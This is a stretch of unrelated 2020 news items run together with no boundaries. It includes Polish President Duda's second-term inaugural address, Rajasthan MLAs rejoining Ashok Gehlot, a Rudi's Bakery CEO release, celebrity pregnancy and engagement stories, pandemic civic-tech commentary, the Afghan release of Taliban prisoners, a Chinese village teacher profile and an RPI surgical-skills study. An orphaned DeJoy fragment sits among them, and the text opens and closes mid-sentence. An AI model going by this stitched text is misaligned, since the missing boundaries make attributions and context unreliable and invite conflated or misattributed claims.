part in the election. This is a big thing. A great victory for Polish democracy. The turnout, which has reached almost 70 percent. Almost 10.5 million people voted for me. Above all, it is a great commitment, which I accept with profound humility. But it is also a great honour and strength, because it is the biggest number of votes cast in elections for almost 30 years. My compatriots have given favourable assessment to the five years of my presidency. And they have given me a strong, democratic mandate for another term! I would like to thank once again from the bottom of my heart all the Poles who took part in the election. All of them. Those who voted for me, and those who voted for my rivals. Thank you, Ladies and Gentlemen, thank you with all my hearth for this beautiful election act. May be of interest to you President Andrzej Duda sworn in for second term These was a difficult election. Never before has there been such one in Poland: pandemics, lockout, suspended campaign, change of candidates, postponement of the election day But, most importantly, it was conducted in a fully democratic, fair, and very efficient way. The Poles could exercise their right to vote! I would like to thank everyone involved in the smooth running of the whole electoral process. Thanks to your intense work the elections were held up to the best world standards. Ladies and Gentlemen, once again my sincere thanks, especially to the State Election Commission. Today democracy in Poland is stronger than ever. The citizens know that most important state affairs: the future of Poland, depend on them. Millions of Polish people who previously did not believe in it and did not vote have now gone to the polls. All across the country: in big and medium cities and in small towns, also in rural areas. And this is a big thing! This is an enormous success of us all. That is why I have invited my rivals in this election to today's ceremony, to address them right from this place and say: this broad participation of the Poles in the election is also a result of your work, your effort, your commitment. So, thank you, truly, for achieving this. After all, this has always been our goal. Our: of the Polish democrats. To make the electoral mandate strong, to secure the highest possible turnout. And this is the case today. I thank you wholeheartedly. At the same time, what merits further reflection is that five years ago, four million less Poles took part in the voting. And before 2015, the picture was often even worse. Why? We need to find an answer to this question as it is pivotal for further strengthening of democracy. I do hope that in the next elections the Poles will take part even more numerously. This is a challenge for us all: we need to make sure that in five years time the turnout will exceed 70% or even more! This is a great challenge for the future. Ladies and Gentlemen, I want to be the president of Polish affairs. The affairs that matter for all Polish people. Equally for my voters and for those who supported other candidates - my rivals. I am open to cooperation and I look forward to it. The door of the Presidential Palace has been open for the last 5 years and will always be open to various milieus, to representatives of all political parties. The Coalition for Polish Affairs that I have just mentioned is necessary. There are issues and problems which are unifying in spite of existing differences. We should build a possibly broadest consensus for them. I will consistently work in this direction. Politicians should be providing a good example in this respect. I made this point from this very rostrum during the first inaugural session of the Sejm. Political dispute, only natural in any democratic system, will not disappear as it is part and parcel of democracy. But much can be done to lower the temperature of this debate. Today, first and foremost, we need more kindness, more smile, and, importantly, more mutual respect. What is extremely important is that we should always be able to shake our opponents hand, after even the fiercest disputes, regardless of diverse views. Here in the Sejm, in our workplaces, in the family circle, at home. This is precisely why after the second round in the evening of the election day I invited Chairman Rafa Trzaskowski to the Presidential Palace. To shake his hand and to thank him for the election rivalry. To show to the whole society that the campaign is over, tough as it has been. I wanted to make it a new custom established in Polish politics. And I do hope that my successor in office will also invite his or her rival to the Presidential Palace and they will shake hands. The way the Polish people should do. I do count on good cooperation with everyone. However, such a will to cooperate must, obviously, be also present on the other side. I hope this will be the case. My hand continues to be outstretched as a sign of a respect and readiness to cooperate. In recent days, we have demonstrated that collaboration is possible. We have been able to pay tribute to the Fathers of our independence: as representatives of all parliamentary caucuses. This way, we have all celebrated the unique anniversary: the centenary of the institution of the Government for the Defence of the State, headed by prime minister Wicenty Witos. The Government that fended off the Bolshevik onslaught on Poland. Moreover, this was the Government which having obviated the mortal threat that loomed over Poland, proceeded with reconstruction of the country. It was a unique government: bringing together representatives of very diverse political parties of the time - from right to left. This stands as an important and noble example of taking particular care of Polish affairs. We are in the eve of the centenary of the Battle of Warsaw. Of our great national triumph. The victory that saved Poland, Europe, and the world from the felonious tyranny. Let us live these special days together with the feeling of national unity and pride in Poland. Let the posture of the Fathers of our independence and the defenders of the reborn Republic of Poland act as a beacon to us. This is one of those things where we should all rise above all political divisions and partisan interests! This is how my mentor: President of the Republic of Poland Professor Lech Kaczynski was reasoning and acting. In politics, he was looking for common denominators, for common causes. He was the founder of the political camp from which I descend. Without him, my presidency would have never happened. Nor would the rule of the United Right. Today, acting by the will of my compatriots, I am assuming again the office of the President of the Republic of Poland. The Poles know me and know what kind of values I adhere to. In the campaign trail I was not pretending to be someone else that I am. Let me assure you that this is how things will continue to be. I will comply with my commitments I stand by my ideals, consistently. Over the next five years, I will be implementing my programme. Polish matters are the most important for me; the ones that concern us all, the entire nation. As I promised, I will be the president of Polish affairs. It was not just an election slogan. This is the keynote of my presidency. In my perception, this is the point of holding this office. This idea has been filled with authentic content thanks to the meetings with people all over Poland. Discussions about their problems, hopes and expectations. This has been the case for the last five years when I was travelling all across Poland. And this what the next term of office will be like. Close to the people and close to the matters that are important to my compatriots and to me. These central issues are family, security, work, investment, and dignity. These five Polish issues symbolize a Poland that can combine tradition with modernity! Because these two values are not mutually exclusive, in fact, they complement each other. This is the Poland of my dreams: ambitious, developing at a fast pace, innovative, but mindful of its roots, history, identity, and tradition. Thus, in the first place: family. The family as a foundation because it creates and shapes society, economy, and culture. The family is our greatest asset. We must do our utmost to protect the family and secure the conditions for its development. That is why I signed the Charter for the Family and undertook to maintain all social programmes that were introduced in the course of my presidency - and to develop them further. Our great compatriot, Saint John Paul II, appealed on many occasions - also to politicians - to afford special protection to the family. Both in legal and economic terms. He said: The family is the basic cell of social life; it is the fundamental cell of human society. As the family goes, so goes the nation. In the second place: security. This is, of course, a matter of great import to all of us, to the Poles. Security must be understood broadly. It is not just about the army or the police, but also energy, health, and food security. I would like to express my appreciation once again and to thank Polish farmers for ensuring that food security is provided, something that we have tested first-hand, especially when the coronavirus pandemic began. Today, thanks to their toil, we can benefit from food security, the fact that I wish to acknowledge and thank you for - from the bottom of my heart. And again, I wish to reiterate that the Polish rural areas and Polish agriculture require comprehensive care on the part of the state. I commit myself to provide this care to the Polish agriculture for the next five years in my office of the President of the Republic of Poland. Every citizen of our country has the right to feel secure - and it is the duty of the authorities to ensure it. Today, Poland is a secure country. With a good, solid standing in the international arena - in Europe and in the world. To strengthen this security, we must continue the process of modernization of our uniformed services. We must continue to modernize and develop our Armed Forces and interoperability with the Allied forces present on our territory, in particular with the US Army. We must act to strengthen Euro-Atlantic ties and the North Atlantic Alliance. This is an important task for the future, which I hope will continue to feature importantly. Our energy security is enhanced by the expansion of international and domestic infrastructure securing LNG supplies. It involves the construction of a gas pipeline from the Norwegian shelf through Denmark and the Baltic Pipe to Poland. It includes the expansion of the gas terminal in Swinoujscie and the intended construction of a floating gas terminal, which will be built in Gdansk. Health security will only be provided by a properly organized and funded, modern healthcare that meets not only the current needs, but is also prepared to respond to future challenges. Hence, among others, the need for full implementation of the National Oncological Strategy, the Medical Fund, and the creation of a health care system for senior citizens through Centres 75+. These are important tasks for the coming years. I believe that together with you, the Ladies and Gentlemen of the National Assembly, we will achieve this goal. A particular opportunity to act for the security of our country and our continent will present itself in 2022, when Poland takes over the Chairmanship of the OSCE, i.e. the Organization for Security and Cooperation in Europe. It will be an opportunity to promote the idea for which we consistently champion in the international arena. This idea is peace through law. We have been making this point at the UN and the Security Council in recent years. Or, to put it differently: the idea of the force of the law, not the law of force. Peace through international law is an important task for the future, one that never ends. This is an important task, also meant to restore full sovereignty and territorial integrity to our neighbour - Ukraine. In the third place: work We want an ambitious Poland! Poland that develops its potential. One in which new, well-paid jobs are created. Poland effectively competing with other countries in the field of economy. Poland that lays down the conditions for its citizens for economic and professional development, for increasing their wealth. This is especially true of the younger generation. They must have a chance to do a good job here in the country, so that they do not go abroad, that they create and develop their families here, and that Polish children are born here. For many years, high unemployment was a real curse in Poland. It was this thing that was killing dreams and forcing millions of Poles to emigrate in search of work. Today, in the face of the crisis caused by the pandemic, we must go to great lengths to prevent this situation from recurring. This is our extremely important task that is being carried out today by the Polish authorities, the government, parliament, and the president of the Republic of Poland. I hope that we will implement them in full and that they will bring Poland back to the path of development. Investments The crisis forces quick and bold decisions. Also, in the area of investments, precisely investments where the state must send an impulse, the state must set an example. It is in times of crisis that public investments come first. There is no development in Poland and there will be none without investments. And we must get back on track of dynamic development, the way we were before the pandemic. This is a historical challenge today. We need grand projects - such as the central transportation hub: Solidarity Transportation Hub, the expansion of the gas terminal in Swinoujscie, the crosscut through the Vistula Spit, construction and development of seaports, maritime transportation and of shipbuilding industry. Investments and outlays on the construction of roads and railroads throughout Poland are necessary. But equally, local investments are needed. In every part of Poland, in every voivodeship, in every district, in every municipality. Through the Local Investments Fund, the School Modernization Fund, expansion of district hospitals, through subsidies for water tanks and for the development of green energy, climate protection, clean water, and air. To have continuous improvement of the quality of life in our country, Poland must develop. I will work towards this objective! I will take care of it. Another area with great development opportunities for Poland are investments under the Three Seas Initiative. The fruits of this cooperation will benefit both ourselves and our foreign partners in the future, mainly in Central Europe, but not only. We need efficient transportation between the Baltic Sea, the Black Sea, and the Adriatic Sea. We also need to balance the level of economic and infrastructure development within the European Union. This will be supported by the Three Seas Fund, of which Poland is a co-founder and which the world's economic powers want to join. This tells you volumes about the growing importance, fostered international cooperation, of our part of Europe and of Poland as the largest and most populous country in the region. And the fifth and final point: dignity. Poland is a country of wonderful people. It is hospitable, open, beautiful. With a great history that we are proud of. We will definitely defend this truth about Poland and the Poles. It is our duty. It is the duty of the President of the Republic of Poland! We will - I deeply believe in it - all of us, as we are in this room, also defend the truth about the beauty, prosperity and wealth of our country being the joint work of all Poles. Also, because the citizens of the Republic of Poland are all equal! There is no difference between inhabitants of big cities, small towns, and villages. Everyone has his or her own and equal dignity. We do not divide Poles into better and worse because of their earnings, education, views, or religious beliefs. Everyone should be respected. A Pole is every person loyal to the Republic of Poland and to their fellow citizens. Everyone who has Poland in their heart! Dear Compatriots! Honourable Marshals, Ladies and Gentlemen of this National Assembly, Ladies and Gentlemen! I believe in Poland. We are a proud and wonderful nation. I believe in the Polish people! In our wisdom and diligence, our perseverance and courage. I believe that we will be able to cope with the challenges of the present time. I also believe in God. But at the same time, I know that not everyone has to believe in Him in order to respect the universal values and traditions from which Poland has grown. Because they are respected and appreciated equally by believers and non-believers. Poland established itself in Europe by being baptized in 966. We have been part and parcel of Europe for 1054 years. We do not forget about it! I believe in the good future of our Home Country. We are looking forward to it with joy and expectation - because more than once have we seen that we are able to do extraordinary things together, together and in solidarity. I believe that we will be able to tap this opportunity for our nation, the greatest one in over 200 years, which is afforded to us by having a sovereign, independent, democratic and at the same time secure Republic of Poland. This is our great task for the future. God bless Poland! The three Independent lawmakers with whom the ruling Congress had temporarily snapped its ties following allegations of horse-trading on Tuesday met Rajasthan Chief Minister Ashok Gehlot on Tuesday. The Independent legislators, Om Prakash Hudla, Khushveer Singh and Suresh Tak, were missing in action amid the bitter internal power tussle between sacked deputy CM Sachin Pilot, who enjoyed the backing 18 Congress lawmakers, and the Gehlot government. Their absence had also fuelled speculations about their alleged role in horse-trading to topple the Congress government. We are and will remain with Gehlot. There was a misunderstanding, which has been sorted, said Tak after meeting with CM Gehlot. He explained the reason behind playing truant. I was in Delhi and was waiting for the truth to emerge. We were nowhere involved in the alleged horse-trading, he said, We were upset, but not anymore. We had extended support to the Gehlot government during the Rajya Sabha polls without any pre-condition. Horse-trading is a cock-and-bull story, as we were away. We were hurt that the CM didnt trust us. Besides, a case was lodged against us, said Tak, who represents the Kishangarh seat in the Rajasthan Assembly. Khushveer Singh, a member of the Rajasthan legislative assembly (MLA) from Marwar Junction (Pali) constituency, too, reposed his faith in Gehlot. It is a coincidence that I had met CM Gehlot and left for Gujarat to undergo treatment. My doctor had twice suspected that I could be suffering from cancer. I was unwell, which was known to the people in my constituency, he said. He claimed that he is innocent and has not been in contact with anyone. The law will take its own course, as the case was filed by the Special Operations Group (SOG) of Rajasthan Police and the Anti-corruption Bureau (ACB). I have full faith in the law. If I am guilty, then I must be punished. Besides, I have always supported CM Gehlot, he added. Om Prakash Hudla, an MLA from Mahua constituency, too, echoed the other two Independent lawmakers. A case was lodged against us, which the state government has since withdrawn. This led to tension. We are happy that the government has withdrawn the case. All misunderstandings were cleared today. We are keen to develop our constituencies and we discussed those issues with the CM, Hudla said. The meeting was held ahead of the upcoming assembly session, which is slated to start from Friday (August 14). BOULDER, Colo., Aug. 11, 2020 /PRNewswire/ -- Rudi's Organic Bakery and Rudi's Gluten-Free Bakery, leaders in the organic and gluten-free baked goods categories, has named Brian McGuire as its new President and Chief Executive Officer. McGuire's goal is to reassert Rudi's as a leader in organic and gluten-free baking. McGuire has over 20 years of executive experience in the foodservice, direct store delivery and consumer goods industries. For the past 13 years, he has had increasing responsibility at SR Originals, a premium frozen desserts company based in Denver, overseeing rapid growth in the company. For the past 12 years, McGuire served as company President and led development of a long-term retail and foodservice strategy that resulted in sales growth of more than 1,000%. "Brian is an outstanding leader with a proven track record of operational excellence and we are excited to have him as Rudi's new President and CEO," said Patrick O'Sullivan, Chief Executive Officer of Promise Gluten-Free, Rudi's parent company. "Brian's substantial experience in the CPG industry, particularly within the bakery business, will be a huge asset to Rudi's as we look to return the brand to significant growth." "I am honored and extremely excited to assume this role at a pioneering company in the organic and gluten-free baking space," said McGuire. "We have a very talented and committed team here at Rudi's and I look forward to leading that team to tremendous growth as we reintroduce the Rudi's brand to consumers and retail partners all over the U.S." "By pushing the boundaries on innovation, maintaining uncompromising food safety standards and establishing an industry-best leadership team, we'll redefine what's possible for Rudi's," said McGuire. "We will be driven to never let our partners or customers down, and we will be driven by quality and creativity. Our customers will learn to expect reliability and great products from Rudi's and we will make it our priority to meet those expectations." For more information, visit www.rudisbakery.com or follow Rudi's Organic Bakery on Facebook, Twitter, and Instagram. About Rudi's Organic Bakery and Rudi's Gluten-Free Bakery Rudi's Organic Bakery, Inc., founded and headquartered in Boulder, CO, is a leading brand of USDA certified organic breads. Rudi's Organic Bakery has a long history of baking bread a better and brighter way, by using simple, organic ingredients that contain no artificial ingredients, preservatives, high fructose corn syrup or trans-fat. Founded in 1976, Rudi's offers small batch organic artisan breads, English muffins, Bagels, Hamburger and Hot Dog Buns, and Wraps. In 2010, Rudi's launched Rudi's-Gluten Free which has quickly become a leader in the gluten free category. Media Contact: Laura Saldarriaga [email protected] 646-661-1594 SOURCE Rudi's Bakery They already share two daughters, Scout, four, and Sailor, eight. And Grant Denyer, 42, and wife Cheryl, 41, will soon welcome another bundle of joy into their tight-knit family. On Tuesday evening, the couple announced they're expecting their third child together on Instagram. A new addition: On Tuesday, Grant and Chezzi Denyer announced they're expecting their third child together. Pictured with daughters Scout, four, and Sailor, eight 'We have some exciting news... coming 1 March 2021,' Grant and Chezzi both wrote on their separate social channels. 'So, we have some news. Our mum is pregnant! And mum's really sick. And she's been resting for days,' daughter Sailor explained in a video. Before adding: 'So that's our news and it's so exciting that she's got a baby.' Exciting news! 'So, we have some news. Our mum is pregnant! And mum's really sick. And she's been resting for days,' Sailor (left) explained in the video Sailor then quizzes her younger sibling and asks, 'What are you looking forward to?' to which Scout replies: 'I really, really hope it's a girl!' 'And we're so excited to play with it and look after it and hold it,' she added. According to the Grant and Chezzi their baby is due on March 1, 2021. Cheryl has been open about her desire to expand their brood. Three's a crowd: Cheryl has been open about her desire to expand her brood Cheryl previous told TV Week, while proud of with two daughters, Grant would 'love a son'. 'He'd love a little boy running around the house,' she said. 'Grant's an amazing dad, and we've spoken about it, so who knows.' While Cheryl spends her time living on her 27 acre farm just outside of Bathurst, Grant has been filming Family Feud in Sydney. With smart cities and the need for digital transformation of government already top of mind for state and local leaders, the coronavirus pandemic's disruptions have provided a sort of field test of how technology is really able to respond to key civic and societal challenges. So far, at least, it's a mixed picture.One of the most dramatic initial changes had an immediate impact on Main Street business activity as consumers shifted their purchasing heavily to online, adding to the disruption from the waves of business shutdowns that began spreading in March. This shift caused some challenges for companies in scaling up. Amazon, for example, temporarily halted inbound warehouse shipments of third-party sellers' goods . It also de-prioritized shipments of non-essential items, including, ironically, its original category of books. But these companies quickly adjusted, and there may well be a permanent uptick in e-commerce market share as a result of the crisis, particularly in sectors like grocery.Meanwhile, in the white-collar office world, almost overnight both corporate America and the public sector shifted the bulk of employees to work from home. This led to a dramatic upsurge in the usage of video collaboration tools like Zoom and Microsoft Teams. Demand above normal can easily overwhelm capacity in a system, as America's toilet-paper shortage in the first weeks of the pandemic showed. But while there were a few bumps in the video systems, these providers were able to rapidly scale up operations, allowing surprising degrees of effective collaboration despite the sudden dislocation of work. Corporate IT and consultancies also were able to successfully ramp up, deploying additional infrastructure where needed. Accenture, for example, provisioned 80,000 laptops within a week to its workers who were normally based in its offices.America's broadband internet providers have not been as successful. While most of the country's households have high-bandwidth internet service, hours spent on Zoom calls have revealed just how many intermittent problems these connections can have, regardless of carrier. People planning important webinars are now arranging fallback plans in case a speaker's Internet connection freezes. I've begun using a cellular data connection for important interviews or presentations because inevitably my wired connection would have problems. I know from the grumblings I hear from others that I'm far from the only one in this situation.These sorts of technology deployments are basically traditional consumer and business applications extended to the next level. But what about the use of technology for transforming the civic realm? Here, the results are less encouraging.Education switched to many of the same remote technologies as business, but not as successfully. Especially at the high-school level, absenteeism from online courses has been a problem. Many minority and lower-income students are likely to be left permanently behind if virtual schools are ineffective in remote teaching this fall. Meanwhile, well-to-do parents are creating multi-family home-schooling "pods," either directly managing their children's online learning or hiring a teacher to home-school them.Particularly in education, the realities of the digital divide have again been magnified for us. While white-collar workers may be experiencing intermittent broadband problems, many lower-income families in both rural and urban areas don't have broadband at all. One need the coronavirus has underlined, once again, is for rock-solid, affordable universal broadband. It's a precondition for a more digital future.Other aspects of civic tech also fell short. Start with virus tracking. For a while we've heard about how technology was going to allow us to revolutionize public health. Yet successful applications have proven elusive. Back in 2008, for example, Google researchers said flu outbreaks could be predicted from the company's search data. Google Flu Trends worked well for a while, then was quietly retired after failing to properly track the 2013 flu season.The technology of data analysis has advanced dramatically since then or so we're told by Silicon Valley so it would seem that artificial intelligence/machine learning applications would be ideal for analyzing and predicting the course of COVID-19. But this doesn't seem to have happened. Instead, governments continue to rely for the most part on traditional epidemiological models that have to be frequently, and frustratingly, revised.Similarly, smartphone data should allow for a form of automated contact tracing. But in the United States this has foundered on the shoals of privacy concerns and other hurdles; talk of automated contact tracing has mostly disappeared It may well be that digital technology will revolutionize public health for the better in the future, but further work needs to be done to build out these capabilities.What Silicon Valley-style software has been very good at during the crisis is producing slick visualizations for digital publications. This includes things like tracing where the people who fled New York City went as the pandemic struck or showing changes in the utilization of various transport modes These are good things to know. But the gap between software's ability to produce great visuals and its ability to actually deliver civic results is one reason the smart cities movement has often been a disappointment. There's still much work to be done to reap the promise of technology for addressing key challenges like the ones posed by the coronavirus.GoverningGoverning Afghan president signs decree to release 'hardcore' Taliban prisoners Iran Press TV Monday, 10 August 2020 5:13 PM Afghanistan's President Ashraf Ghani has signed a decree to release a final batch of 'hardcore' Taliban prisoners, raising hopes for long-awaited peace talks to restart. Late on Monday, the president ordered the release of the 400 prisoners, his office said. "It is signed," a presidential palace source said. National Security Council spokesman Javid Faisal said, "The Afghan government will start releasing the 400 Taliban prisoners within two days." In Doha, a spokesman for the Taliban's political office welcomed Kabul's decision to release the last batch of 5,000 prisoners to be freed as a condition for starting intra-Afghan negotiations. "We are ready to sit for talks within a week from when we see our prisoners released. We are ready," Suhail Shaheen said. A government source said, "The original plan is to travel to Doha on Wednesday and the talks will begin on Sunday." Loya Jirga, a grand assembly of Afghan elders, approved the release of the 400 Taliban prisoners, whom Kabul was wary of freeing given their background of involvement in deadly attacks and kidnappings. In a resolution it issued on Sunday to make the announcement, the Loya Jirga also called for an immediate and long-lasting ceasefire, which would pave the way for an end to the war in Afghanistan. The Taliban had demanded the release of the remaining prisoners as a condition for joining the peace talks. Both President Ghani and the Taliban had already signaled that protracted peace negotiations could begin once the Eid-al Adha was over. In February, the Taliban and Washington signed a deal that slated Afghan peace talks to begin in March, but discussions were delayed by disagreements over the terms of a prisoner swap. The deal, which sets the stage for the withdrawal of all US-led foreign forces from Afghanistan, required Kabul to free some 5,000 Taliban prisoners in exchange for 1,000 Afghan security personnel held by the Taliban. The Taliban said they have already fulfilled their side of the exchange. Authorities, however, had refused to free hundreds of inmates accused of serious crimes that the militant group had requested for release. Official data shows that bombings and other assaults by the Taliban have surged 70 percent since the militant group signed the deal with the United States. Last month, Ghani said more than 3,500 Afghan troops and nearly 800 civilians had been killed since the deal was signed in Doha. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address On top of that, DeJoy conducted a Friday night massacre last week, firing several top executives from their posts and reshuffling more than two dozen other officials and operational managers. For his part, DeJoy the first Postal Service head with no Postal Service experience says the changes are necessary to make the agency viable. He also denies any political influence behind his decisions. While I certainly have a good relationship with the president of the United States, the notion that I would ever make decisions concerning the Postal Service at the direction of the president or anyone else in the administration is wholly off-base, he said last week. Qin Yuan and her students pose for a group photo. [0764news.cn] CHANGSHA Qin Yuan's fingers danced across the keys of an electric piano as six boys belted out a popular song "I'm still the teenager I once was, without the slightest change in my heart..." The song has been a hit among China's young urbanites since last year, and the children sang whole-heartedly to their teacher's accompaniment in the Wangjia village school in Central China's Hunan Province. The singing session is a daily routine at the school, which has only one teacher and six students all first-graders. The school in Hecheng District of Huaihua City was established by the government exclusively for the local school-age children who are too young to hike long distances to school. After their first year of primary education here, they will transfer to a bigger school in the township of Huangjin'ao. Qin, 21, is the only teacher at the school. But teaching is not all in her life. After one day's work, she would jump on an electric bicycle and rush to a plaza in the city of Huaihua 16 kilometers away, where her home is. There, she sings with a band, a microphone in her hand and a smartphone set up in front of them for livestreaming. Qin started working at the village school last year, after finishing five years of training in teaching methodology, multidisciplinary knowledge like Chinese literature and language, art, math, child psychology and practically every skill to prepare her for being a versatile primary school teacher. "I love kids, and I've always longed to be a teacher," she says. "It doesn't really matter whether I have 100 students or only one." Every morning, Qin rides from the city to her workplace to give lessons on subjects like Chinese, math, music and physical education, among others. Besides teaching, her daily routine also includes preparing lunch for the students. The lunch is subsidized by the local government, and the kids only need to pay 200 yuan ($28.7) each semester. From September 2019 to July, there were altogether six boys studying at the school. Most of them are "left-behind" children who are taken care of by their grandparents, while their parents work in cities for a higher income to support their families. Xiao Chen (pseudonym), 7, is one of Qin's students. He lives with his grandmother in the village, and his parents both work in the eastern city of Hangzhou some 1,200 km away. To Xiao Chen, Qin is more like an elder sister or a mother than a teacher. His grandmother once asked what he liked most about the teacher. "I like the dish she stewed, braised pork with potatoes, in particular," the boy says. As a novice at cooking, Qin finds it challenging to cook for the kids. She seeks advice from her family members, searches recipes online, and keeps practicing to polish her cooking skills. Her efforts have paid off. "I usually make braised pork with potatoes on Friday as a reward for them, if they behave well during the week. The meal has become the boys' favorite." Qin says the "trick" always works its wonders. The boys she teaches seldom have an opportunity to reach out to the outside world, and some of them are rather introverted and reserved. To help the boys become more outgoing, Qin teaches them pop songs that she usually performs at the plaza. "I want to open a window to the outside world for the kids," she says. "I hope they can express themselves more bravely through singing." According to Qin, the facilities of the school are good enough an electric piano, computers and experimental apparatus in the brand-new classrooms greatly facilitated her teaching. However, the difficulty in her work lies in figuring out how to educate the children in a way that better suits their situations. "I have been thinking (about) how to help these kids, whose parents are not around, better study and live their lives," Qin says. She therefore reaches out to the kids' parents more often not only reporting their learning conditions, but also encouraging the parents to care more about their children. "Seeing the students grow up and getting recognition from their parents are so rewarding for a teacher," Qin says. In September, the six boys will go to a primary school in the township of Huangjin'ao to further their schooling. Under an agreement reached between her and the local education authority, Qin will continue teaching in the village school for another four years. "I don't know if I will stay here or leave after the contract ends," Qin says. "But I will continue working as a teacher for sure, as the song says the faith in my heart will never fade away." (Source: Xinhua) Please allow ads as they help fund our trusted local news content. Kindly add us to your ad blocker whitelist. If you want further access to Ireland's best local journalism, consider contributing and/or subscribing to our free daily Newsletter . Support our mission and join our community now. By Elizabeth Kwiatkowski, 08/11/2020 ADVERTISEMENT FOLLOW REALITY TV WORLD ON THE ALL-NEW GOOGLE NEWS! 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ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. alum Vanessa Grimaldi has gotten engaged to her boyfriend, Canadian businessman Josh Wolfe.Vanessa, who's been dating Josh for a year-and-a-half, announced her engagement Monday on Instagram."August 9th, 2020 will forever be my favourite DAY OF MY LIFE!!!!!!!!!!! @jbrwolfe YOU ARE MY EVERYTHING AND I CANNOT WAIT TO BE FOREVER AND EVER WITH YOU!!!!!! #engaged," Vanessa, 32, captioned nearly a dozen photos from the marriage proposal on Instagram, adding about 20 red-heart emojis.Josh popped the question on the Saint-Louis Gate in Quebec, Canada "in what was an intimate, beautiful moment that was candle-lit," Vanessa told People.In the Instagram photos, Josh apparently lit the stone courtyard or walkway up with candles and the couple celebrated with glasses of champagne after Vanessa said "yes."Vanessa, dressed casual in jeans and a pink shirt, appeared overjoyed and emotional after Josh popped the question in his jeans and sneakers. The couple embraced and shared a couple of kisses in the photos as well.An accordion player reportedly performed "A Whole New World" from Aladdin to set the stage for Josh's proposal."It was absolutely beautiful!" the bride-to-be gushed to the magazine, adding that the proposal was a huge shock to her."I knew we were going to get engaged eventually, but I had no idea it was going to happen when it did. Josh is the first person I am with where I am at complete ease and where I never second-guessed his love for me. I've been ready to say YES! I am the luckiest woman!"Josh reportedly presented Vanessa with a one-carat oval diamond with two side stones, set on a yellow gold band from a local jeweler in Montreal."I feel at home whenever I am with Josh. His love and affection for his family is something I've always admired about him and what I've always looked for in a partner," Vanessa told People."I love how much he values family and that he loves spending quality time all together. That is how we both were raised and one of the many reasons I grew a strong connection with him from the beginning. Who knew my person was living in the same city as me all these years!"The pair, who both live in Montreal, reportedly plan to celebrate their engagement with a small party at their favorite Lebanese restaurant in Montreal, with a portion of the bill being donated to victims of the Beirut explosion in Lebanon.Vanessa and Josh apparently won't be rushing wedding plans amid the ongoing coronavirus pandemic, but Vanessa shared she's envisioning a small and intimate ceremony and reception."Younger Vanessa would have wanted a typical Italian wedding: big and lots of guests," Vanessa said. "Now, I envision something small, simple and intimate with my closest friends and family.On whether she'd be willing to film the wedding for television, Vanessa said, "I love having memories we can look back on.""I most definitely want a private and intimate wedding and for parts of it to be recorded for us to keep as a memory and for our future children to see one day."The couple's romance sparked when Josh slid into Vanessa's DMs on social media, and then the pair reportedly talked on the phone for several weeks while she was out of town.Vanessa and Josh had their first date in New York City, with Vanessa telling People, "We booked flights without ever having met!"Vanessa went public with her relationship with Josh in January 2019 after a fling with a different guy in Spring 2018 didn't work out."I knew Vanessa was the one after the first Sunday lunch I had with her family in Saint Leonard," Josh shared."It was then that I realized just how important family was to her, as it is to me. I felt so welcomed, and just grateful at the idea that they may one day become my extended family. I felt like I was at home. Also, the first time she made me her pasta sauce. It's something else!"Vanessa got engaged to Nick Viall at the end of 's 21st season, which aired in March 2017, but the couple broke up less than six months later.Vanessa and Nick's relationship kicked off with more challenges than the average couple to come out of the show given Vanessa was living in Canada and Nick wanted to stay in the United States.Shortly after getting engaged, Nick also competed on Dancing with the Stars, which soaked up a lot of his free time."After my experience on the show, everything happens for a reason," Vanessa noted.Interested in more news? Join our The Bachelor Facebook Group Borsa Italiana non ha responsabilita per il contenuto del sito a cui sta per accedere e non ha responsabilita per le informazioni contenute. Accedendo a questo link, Borsa Italiana non intende sollecitare acquisti o offerte in alcun paese da parte di nessuno. Sarai automaticamente diretto al link in cinque secondi. TROY, N.Y. -- In order to earn certification in general surgery, residents in the United States need to demonstrate proficiency in the Fundamentals of Laparoscopic program (FLS), a test that requires manipulation of laparoscopic tools within a physical training unit. Central to that assessment is a quantitative score, known as the FLS score, which is manually calculated using a formula that is time-consuming and labor-intensive. By combining brain optical imaging, and a deep learning framework they call "Brain-NET," a multidisciplinary team of engineers at Rensselaer Polytechnic Institute, in close collaboration with the Department of Surgery at the Jacobs School of Medicine & Biomedical Sciences at the University at Buffalo, has developed a new methodology that has the potential to transform training and the certification process for surgeons. In a new article in IEEE Transactions on Biomedical Engineering, the researchers demonstrated how Brain-NET can accurately predict a person's level of expertise in terms of their surgical motor skills, based solely on neuroimaging data. These results support the future adoption of a new, more efficient method of surgeon certification that the team has developed. "This is an area of expertise that is really unique to RPI," said Xavier Intes, a professor of biomedical engineering at Rensselaer, who led this research. According to Intes, Brain-NET not only performed more quickly than the traditional prediction model, but also more accurately, especially as it analyzed larger datasets. Brain-NET builds upon the research team's earlier work in this area. Researchers led by Suvranu De, the head of the Rensselaer Department of Mechanical, Aerospace, and Nuclear Engineering, previously showed that they could accurately assess a doctor's surgical motor skills by analyzing brain activation signals using optical imaging. In addition to its potential to streamline the surgeon certification process, the development of Brain-NET, combined with that optical imaging analysis, also enables real-time score feedback for surgeons who are training. "If you can get the measurement of the predicted score, you can give feedback right away," Intes said. "What this opens the door to is to engage in remediation or training." ### Intes and De, the co-director and director of the Center for Modeling, Simulation, & Imaging in Medicine at Rensselaer, were joined in this paper by researchers at Rensselaer and the University at Buffalo, including Steven Schwaitzberg, a professor and chair of the University at Buffalo Department of Surgery. About Rensselaer Polytechnic Institute Founded in 1824, Rensselaer Polytechnic Institute is America's first technological research university. Rensselaer encompasses five schools, 32 research centers, more than 145 academic programs, and a dynamic community made up of more than 7,900 students and over 100,000 living alumni. Rensselaer faculty and alumni include more than 145 National Academy members, six members of the National Inventors Hall of Fame, six National Medal of Technology winners, five National Medal of Science winners, and a Nobel Prize winner in Physics. With nearly 200 years of experience advancing scientific and technological knowledge, Rensselaer remains focused on addressing global challenges with a spirit of ingenuity and collaboration. To learn more, please visit http://www.rpi.edu. Share this article Whatsapp Facebook Twitter Linkedin Stevie Emilia (The Jakarta Post) Jakarta Tue, August 11, 2020 14:01 526 6657ac82168da9fa101c8a4066d19906 1 Health #health,#health-conference,#SexualReproductive,#reproductive,#reproductive-health,#women,#womens-health,#FamilyPlanning,#SRHR Free With the pandemic wreaking havoc across the world, it has also intensified obstacles to quality healthcare services, harming goals to achieve sexual reproductive health for all. The Asia Pacific region, home to 60 percent of the worlds population, or around 4.3 billion people, including three of the worlds four most populous countries China, India and Indonesia has not been not spared. Many women in the Asia Pacific region do not have sufficient access to health care. In the region, more than 30 